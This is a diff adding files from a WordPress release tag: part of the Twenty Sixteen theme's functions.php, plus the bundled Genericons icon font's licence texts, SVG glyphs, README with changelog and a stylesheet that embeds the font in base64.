+	wp_script_add_data( 'twentysixteen-html5', 'conditional', 'lt IE 9' );
+
+	wp_enqueue_script( 'twentysixteen-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20160816', true );
+
+	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
+		wp_enqueue_script( 'comment-reply' );
+	}
+
+	if ( is_singular() && wp_attachment_is_image() ) {
+		wp_enqueue_script( 'twentysixteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20160816' );
+	}
+
+	wp_enqueue_script( 'twentysixteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20181230', true );
+
+	wp_localize_script( 'twentysixteen-script', 'screenReaderText', array(
+		'expand'   => __( 'expand child menu', 'twentysixteen' ),
+		'collapse' => __( 'collapse child menu', 'twentysixteen' ),
+	) );
+}
+add_action( 'wp_enqueue_scripts', 'twentysixteen_scripts' );
+
+/**
+ * Enqueue styles for the block-based editor.
+ *
+ * @since Twenty Sixteen 1.6
+ */
+function twentysixteen_block_editor_styles() {
+	// Block styles.
+	wp_enqueue_style( 'twentysixteen-block-editor-style', get_template_directory_uri() . '/css/editor-blocks.css', array(), '20181230' );
+	// Add custom fonts.
+	wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );
+}
+add_action( 'enqueue_block_editor_assets', 'twentysixteen_block_editor_styles' );
+
+/**
+ * Adds custom classes to the array of body classes.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @param array $classes Classes for the body element.
+ * @return array (Maybe) filtered body classes.
+ */
+function twentysixteen_body_classes( $classes ) {
+	// Adds a class of custom-background-image to sites with a custom background image.
+	if ( get_background_image() ) {
+		$classes[] = 'custom-background-image';
+	}
+
+	// Adds a class of group-blog to sites with more than 1 published author.
+	if ( is_multi_author() ) {
+		$classes[] = 'group-blog';
+	}
+
+	// Adds a class of no-sidebar to sites without active sidebar.
+	if ( ! is_active_sidebar( 'sidebar-1' ) ) {
+		$classes[] = 'no-sidebar';
+	}
+
+	// Adds a class of hfeed to non-singular pages.
+	if ( ! is_singular() ) {
+		$classes[] = 'hfeed';
+	}
+
+	return $classes;
+}
+add_filter( 'body_class', 'twentysixteen_body_classes' );
+
+/**
+ * Converts a HEX value to RGB.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @param string $color The original color, in 3- or 6-digit hexadecimal form.
+ * @return array Array containing RGB (red, green, and blue) values for the given
+ *               HEX code, empty array otherwise.
+ */
+function twentysixteen_hex2rgb( $color ) {
+	$color = trim( $color, '#' );
+
+	if ( strlen( $color ) === 3 ) {
+		$r = hexdec( substr( $color, 0, 1 ).substr( $color, 0, 1 ) );
+		$g = hexdec( substr( $color, 1, 1 ).substr( $color, 1, 1 ) );
+		$b = hexdec( substr( $color, 2, 1 ).substr( $color, 2, 1 ) );
+	} else if ( strlen( $color ) === 6 ) {
+		$r = hexdec( substr( $color, 0, 2 ) );
+		$g = hexdec( substr( $color, 2, 2 ) );
+		$b = hexdec( substr( $color, 4, 2 ) );
+	} else {
+		return array();
+	}
+
+	return array( 'red' => $r, 'green' => $g, 'blue' => $b );
+}
+
+/**
+ * Custom template tags for this theme.
+ */
+require get_template_directory() . '/inc/template-tags.php';
+
+/**
+ * Customizer additions.
+ */
+require get_template_directory() . '/inc/customizer.php';
+
+/**
+ * Add custom image sizes attribute to enhance responsive image functionality
+ * for content images
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @param string $sizes A source size value for use in a 'sizes' attribute.
+ * @param array  $size  Image size. Accepts an array of width and height
+ *                      values in pixels (in that order).
+ * @return string A source size value for use in a content image 'sizes' attribute.
+ */
+function twentysixteen_content_image_sizes_attr( $sizes, $size ) {
+	$width = $size[0];
+
+	if ( 840 <= $width ) {
+		$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px';
+	}
+
+	if ( 'page' === get_post_type() ) {
+		if ( 840 > $width ) {
+			$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
+		}
+	} else {
+		if ( 840 > $width && 600 <= $width ) {
+			$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px';
+		} elseif ( 600 > $width ) {
+			$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
+		}
+	}
+
+	return $sizes;
+}
+add_filter( 'wp_calculate_image_sizes', 'twentysixteen_content_image_sizes_attr', 10 , 2 );
+
+/**
+ * Add custom image sizes attribute to enhance responsive image functionality
+ * for post thumbnails
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @param array $attr Attributes for the image markup.
+ * @param int   $attachment Image attachment ID.
+ * @param array $size Registered image size or flat array of height and width dimensions.
+ * @return array The filtered attributes for the image markup.
+ */
+function twentysixteen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
+	if ( 'post-thumbnail' === $size ) {
+		if ( is_active_sidebar( 'sidebar-1' ) ) {
+			$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 60vw, (max-width: 1362px) 62vw, 840px';
+		} else {
+			$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 88vw, 1200px';
+		}
+	}
+	return $attr;
+}
+add_filter( 'wp_get_attachment_image_attributes', 'twentysixteen_post_thumbnail_sizes_attr', 10 , 3 );
+
+/**
+ * Modifies tag cloud widget arguments to display all tags in the same font size
+ * and use list format for better accessibility.
+ *
+ * @since Twenty Sixteen 1.1
+ *
+ * @param array $args Arguments for tag cloud widget.
+ * @return array The filtered arguments for tag cloud widget.
+ */
+function twentysixteen_widget_tag_cloud_args( $args ) {
+	$args['largest']  = 1;
+	$args['smallest'] = 1;
+	$args['unit']     = 'em';
+	$args['format']   = 'list';
+
+	return $args;
+}
+add_filter( 'widget_tag_cloud_args', 'twentysixteen_widget_tag_cloud_args' );
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/COPYING.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/COPYING.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/COPYING.txt	(revision 56912)
@@ -0,0 +1,9 @@
+Genericons is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
+
+The fonts are distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+As a special exception, if you create a document which uses this font, and embed this font or unaltered portions of this font into the document, this font does not by itself cause the resulting document to be covered by the GNU General Public License. This exception does not however invalidate any other reasons why the document might be covered by the GNU General Public License. If you modify this font, you may extend this exception to your version of the font, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version.
+
+This license does not convey any intellectual property rights to third party trademarks that may be included in the icon font; such marks remain subject to all rights and guidelines of use of their owner.
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/Genericons.svg
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/Genericons.svg	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/Genericons.svg	(revision 56912)
@@ -0,0 +1,537 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
+<!--
+2015-9-18: Created with FontForge (http://fontforge.org)
+-->
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
+<metadata>
+Created by FontForge 20150618 at Fri Sep 18 10:24:13 2015
+ By Joen Asmussen
+Copyright (c) 2015, Joen Asmussen
+</metadata>
+<defs>
+<font id="Genericons" horiz-adv-x="2048" >
+  <font-face 
+    font-family="Genericons"
+    font-weight="400"
+    font-stretch="normal"
+    units-per-em="2048"
+    panose-1="2 0 5 3 0 0 0 0 0 0"
+    ascent="2048"
+    descent="0"
+    bbox="-0.0140489 0 2048.01 2048"
+    underline-thickness="102.4"
+    underline-position="-204.8"
+    unicode-range="U+0020-F517"
+  />
+    <missing-glyph />
+    <glyph glyph-name="space" unicode=" " horiz-adv-x="200" 
+ />
+    <glyph glyph-name="uniF413" unicode="&#xf413;" 
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+s-192 86.0156 -192 192s85.8877 192 192 192z" />
+    <glyph glyph-name="uniF462" unicode="&#xf462;" 
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+    <glyph glyph-name="uniF434" unicode="&#xf434;" 
+d="M1152 0l896 896v-896h-896z" />
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+d="M960 1792c388.736 0 704 -315.136 704 -704c0 -388.736 -315.264 -704 -704 -704c-388.864 0 -704 315.264 -704 704c0 388.864 315.136 704 704 704zM960 512c317.952 0 576 257.92 576 576s-258.048 576 -576 576c-318.08 0 -576 -257.92 -576 -576
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+M1920 640v128h-640v-128h640z" />
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+d="M1024 1280c141.312 0 256 -114.688 256 -256s-114.688 -256 -256 -256s-256 114.688 -256 256s114.688 256 256 256z" />
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Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/LICENSE.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/LICENSE.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/LICENSE.txt	(revision 56912)
@@ -0,0 +1,339 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
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+
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+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
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+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/README.md
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/README.md	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/README.md	(revision 56912)
@@ -0,0 +1,218 @@
+# Genericons
+
+Genericons are vector icons embedded in a webfont designed to be clean and simple keeping with a generic aesthetic.
+
+Use genericons for instant HiDPI, to change icon colors on the fly, or even with CSS effects such as drop-shadows or gradients!
+
+
+## Usage
+
+To use it, place the `genericons` folder in your stylesheet directory and enqueue the genericons.css file. Now you can create an icon like this:
+
+```
+.my-icon:before {
+	content: '\f101';
+	font: normal 16px/1 'Genericons';
+	display: inline-block;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+```
+
+This will output a comment icon before every element with the class "my-icon". The `content: '\f101';` part of this CSS is easily copied from the helper tool at http://genericons.com/, or `example.html` in the `font` directory.
+
+You can also use the bundled example.css if you'd rather insert the icons using HTML tags.
+
+
+## Building your own Genericons
+
+In the `source` directory, you'll find all Genericons source icons in SVG format. This will allow you to bake your own flavor of Genericons using a tool such as FontCustom (http://fontcustom.com) or Fontello (http://fontello.com). Perhaps you need more logos than are available in the base Genericons package? Just add those logos and bake your own expanded set. Maybe you need just a few of the icons Genericons provides, but would like to trim the fat? Remove the ones you won't need!
+
+
+### FontCustom instructions
+
+FontCustom is a powerful commandline tool which which bakes icon fonts from the SVG source files. It's the tool Genericons is built on, and it provides highly accurate and perfectly crisp icons, *provided all SVGs have the same pixel height*.
+
+It's not that hard to use, and once it's installed you'll never think of icon-fonts the same way again. Seriously, you should try it. Icon fonts for everyone!
+
+1. Install FontCustom. Follow the instructions on the website: http://fontcustom.com/
+2. In the `source` directory from the Genericons download, open the file called `fontcustom.yml` in a text editor. Customize the `font_name` and `css_selector`.
+3. Open a terminal. Browse to the `source` directory. Type `fontcustom compile`.
+
+You'll now receive a brand new subdirectory called `fontcustom-webfont`. Inside here you'll find your very own flavor of Genericons, with only the icons you want, including a handy example page that'll help you copy/paste the necessary glyphs or CSS values. 
+
+*Please note*: In the source directory, there's a hidden file called `.fontcustom-manifest.json`. This file is auto-generated by the FontCustom tool, and holds codepoints (unicode addresses) for every glyph, so its address doesn't change when you add or remove icons. If you feel the need to "start fresh" with the unicode addresses, you should delete this file. 
+
+
+### Fontello instructions
+
+Fontello is very easy to use. Just drop the SVG files of the icons you want onto their website and download the font. The downside is that Fontello seems to ignore the 16px pixelgrid, so you'll end up with fuzzy icons. Buyer beware.
+
+
+## Notes
+
+**Photoshop mockups**
+
+The `Genericons.ttf` file can be placed in your system fonts folder and used Photoshop or other graphics apps if you like.
+
+If you're using Genericons in your Photoshop mockups, please remember to delete the old version of the font from Font Book, and grab the new one from the zip file. This also affects using it in your webdesigns: if you have an old version of the font installed locally, that's the font that'll be used in your website as well, so if you're missing icons, check for old versions of the font on your system.
+
+**Pixel grid**
+
+Genericons has been designed for a 16x16px grid. That means it'll look sharp at font-size: 16px exactly. It'll also be crisp at multiples thereof, such as 32px or 64px. It'll look reasonably crisp at in-between font sizes such as 24px or 48px, but not quite as crisp as 16 or 32. Please don't set the font-size to 17px, though, that'll just look terrible blurry.
+
+**Antialiasing**
+
+If you keep intact the `-webkit-font-smoothing: antialiased;` and `-moz-osx-font-smoothing: grayscale;` CSS properties. That'll make the icons look their best possible, in Firefox and WebKit based browsers.
+
+**optimizeLegibility**
+
+Note: On Android browsers with version 4.2, 4.3, and probably later, Genericons will simply not show up if you're using the CSS property "text-rendering" set to "optimizeLegibility.
+
+**Updates**
+
+We don't often update icons, but do very carefully when we get good feedback suggesting improvements. Please be mindful if you upgrade, and check that the updated icons behave as you intended.
+
+**Base64 encoding**
+
+By default, Genericons ships with a stylesheet that includes a base64 encoded version of the font. This is to sidestep issues with cross-origin requests for fonts, that happen when a stylesheet loads a font that's stored on a different domain or subdomain. This is very common when using caching plugins.
+
+Base64 encoding comes with a 25% filesize overhead compared to just loading the WOFF file directly. If you know that you won't be loading fonts across domains, or have the ability to edit your server config files to allow it, you can get slightly faster performance by loading Genericons without the base64 encoding. Simply edit `genericons.css` and edit the `@font-face` declaration to match this:
+
+```
+@font-face {
+	font-family: 'Genericons';
+		src: url('Genericons.woff') format('woff'),
+		url('Genericons.ttf') format('truetype'),
+		url('Genericons.svg#genericonsregular') format('svg');
+	font-weight: normal;
+	font-style: normal;
+}
+```
+
+
+
+## Changelog
+
+**3.4.1**
+
+* IE8 support restored.
+
+**3.4**
+
+* Updated: Update Google Plus icon to new geometric version. This also *retires* the "alt" version, so *please be mindful if you choose to update, make sure you use the `f206` glyph, not the `f218` glyph, as it no longer exists!
+* New: Added helper rotation classes to the base CSS, thanks to geminorum. Apply `genericon-rotate-90` to rotate 90 degrees, -180, -270. Or `genericon-flip-horizontal` or -vertical. 
+
+*Again, it is important if you choose to update to this version, make sure you're not using `genericon-googleplus-alt` or unicode character `f218`, as that has been retired! Use `genericon-googleplus` and glyph `f206` instead!*
+
+**3.3.1**
+
+Security Hardening: Remove Genericons example.html file. Please visit genericons.com instead.
+
+**3.3**
+
+The Open Source release.
+
+You can now build your own flavors of Genericons with all the SVGs provided. 
+
+
+**3.2**
+
+A number of new icons and a couple of quick updates. 
+
+* New: Activity
+* New: HTML anchor
+* New: Bug
+* New: Download
+* New: Handset
+* New: Microphone
+* New: Minus
+* New: Plus
+* New: Move
+* New: Rating stars, empty, half, full
+* New: Shuffle
+* New: video camera
+* New: Spotify
+* New: Twitch
+* Update: Fixed geometry in Edit icon
+* Update: Updated Foursquare icon
+* IE8 bugfix, slipstreamed into this. 
+
+Twitch and Spotify mark the last social icons that will be added to Genericons.
+Future social icons will have to happen in a separate font. 
+
+**3.1**
+
+Genericons is now generated using a commandline tool called FontCustom. This makes it far easier to add new icons to the font, but the switch means the download zip now has a different layout, fonts have different filenames, there's now no .otf font included (but the .ttf should suffice), and the font now has slightly different metrics. I've taken great care to ensure this new version should work as a drop-in replacement, but please be mindful and test carefully if you choose to upgrade.
+
+* Per feedback, the baked-in 16px width and height has been removed from the helper CSS. It wasn't really necessary (the glyph itself has these dimensions naturally), and it caused some headaches.
+* Base64 encoding is now included by default in the helper CSS. This makes it drop-in easy to get Genericons working in Firefox even when using a CDN. 
+* Title attribute on website tool.
+* New: Website.
+* New: Ellipsis.
+* New: Foursquare.
+* New: X-post.
+* New: Sitemap.
+* New: Hierarchy.
+* New: Paintbrush.
+* Updated: Show and Hide icons were updated for clarity.
+
+**3.0.3**
+
+Bunch of updates mostly.
+
+* Two new icons, Dropbox and Fullscreen.
+* Updates to all icons containing an exclamation mark.
+* Updates to Image and Quote.
+* Nicer "Share" icon.
+* Bigger default Linkedin icon.
+
+**3.0.2**
+
+A slew of new stuff and updates.
+
+* Social icons: Skype, Digg, Reddit, Stumbleupon, Pocket.
+* New generic icons: heart, lock and print.
+* New editing icons: code, bold, italic, image
+* New interaction icons: subscribe, unsubscribe, subscribed, reply all, reply, flag.
+* The hyperlink icon has been updated to be clearer, chunkier.
+* The "home" icon has been updated for style, size and clarity.
+* The email icon has been updated for style and clarity, and to fit with the new subscribe icons.
+* The document icon has been updated for style.
+* The "pin" icon has been updated for style and clarity.
+* The Twitter icon has been scaled down to fit with the other social icons.
+
+**3.0.1**
+
+Mostly maintenance. 
+
+* Fixed an issue with the example page that showed an old "top" icon instead of the actual NEW "refresh" icon.
+* Added inverse Google+ and Path.
+* Replaced tabs with spaces in the helper CSS.
+* Changed the Genericons.com copy/paste tool to serve span's instead of div's for casual icon insertion. It's being converted to "inline-block" anyway.
+
+**3.0**
+
+Mainly maintenance and a few new icons.
+
+* Fast forward, rewind, PollDaddy, Notice, Info, Help, Portfolio
+* Updated the feed icon. It's a bit smaller now for consistency, the previous one was rather big.
+* So, the previous version numbering, 2.09, wasn't very PHP version compare friendly. So from now on it'll be 3.0, 3.1 etc. Props Ipstenu.
+* Genericons.com now has a mini release blog.
+* The CSS has prettier formatting, props Konstantin Obenland.
+
+**2.09**
+
+Updated Facebook icon to new version. Updated Instagram logo to use new one-color version. Updated Google+ icon to use same radius as Instagram and Facebook. Added a bunch of new icons, cog, unapprove, cart, media player buttons, tablet, send to tablet.                                            
+
+**2.06**
+
+Included Base64 encoded version. This is necessary for Genericons to work with CDNs in Firefox. Firefox blocks fonts linked from a different domain. A CDN (typically s.example.com) usually puts the font on a subdomain, and is hence blocked in Firefox.
+
+**2.05**
+
+Added a bunch of new icons, including upload to cloud, download to cloud, many more.
+
+**2.0**
+
+Initial public release
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/genericons.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/genericons.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/genericons/genericons.css	(revision 56912)
@@ -0,0 +1,263 @@
+/**
+
+	Genericons
+
+*/
+
+
+/* IE8 and below use EOT and allow cross-site embedding. 
+   IE9 uses WOFF which is base64 encoded to allow cross-site embedding.
+   So unfortunately, IE9 will throw a console error, but it'll still work.
+   When the font is base64 encoded, cross-site embedding works in Firefox */
+@font-face {
+  font-family: "Genericons";
+  src: url("./Genericons.eot");
+  src: url("./Genericons.eot?") format("embedded-opentype");
+  font-weight: normal;
+  font-style: normal;
+}
+
+@font-face {
+  font-family: "Genericons";
+  src: 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